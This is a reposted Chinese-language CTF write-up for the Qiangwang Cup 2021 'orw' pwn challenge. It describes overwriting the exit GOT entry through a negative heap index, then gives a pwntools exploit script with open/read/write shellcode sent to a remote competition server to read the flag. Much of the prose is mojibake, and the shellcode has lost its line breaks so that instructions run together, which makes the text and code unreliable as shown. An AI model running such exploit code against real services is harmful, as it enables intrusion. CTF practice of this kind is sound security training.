强网杯2021 [强网先锋]orw
生活随笔
收集整理的這篇文章主要介紹了
强网杯2021 [强网先锋]orw
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
orw就是指你的系統(tǒng)調(diào)用被禁止了,不能通過子進(jìn)程去獲得權(quán)限和flag,只能在該進(jìn)程通過 open , read ,write來得到flag
因?yàn)椴皇荈ULL RELRO所以就考慮改got表為shellcode地址就行了
漏洞點(diǎn)就在于以上兩點(diǎn)
令index下標(biāo)為負(fù)數(shù)時(shí)可以覆蓋到其他函數(shù)的got表地址
這里選擇覆蓋掉exit的got表中的地址,因?yàn)樯澈械拇嬖?#xff0c;所以需要構(gòu)造orw的shellcode并覆蓋exit的got地址為shellcode
覆蓋堆塊的申請(qǐng)位置選擇在這里
計(jì)算一下偏移量
起始點(diǎn) 0x02020E0 終點(diǎn)是 0x0202078
這里除以8是因?yàn)?br /> QWORD 是8 個(gè)字節(jié)
現(xiàn)在可以寫EXP
from pwn import * #p=process('./pwn') p=remote("39.105.131.68","12354") context(os='linux',arch='amd64') shellcode='''xor rax,raxxor rdi,rdixor rsi,rsixor rdx,rdxmov rax,2 #open 調(diào)用號(hào)為2mov rdi,0x67676c662f2e #為 galf/. 是./flag的相反push rdimov rdi,rspsyscallmov rdx,0x100 #sys_read(3,file,0x100)mov rsi,rdimov rdi,raxmov rax,0 #read 調(diào)用號(hào)0syscallmov rdi,1 #sys_write(1,file,0x30)mov rax,1 #write調(diào)用號(hào)是1syscall ''' p.recv() p.sendline('1') p.recvuntil('index') p.sendline('-0xd') p.recvuntil('size:') p.sendline('0') p.recvuntil('content') p.sendline(asm(shellcode)) #gdb.attach(p) p.sendline('5') p.interactive()總結(jié)
以上是生活随笔為你收集整理的强网杯2021 [强网先锋]orw的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 在安装one_gadget遇到 one_
- 下一篇: CTF(pwn) 堆利用 之 unlin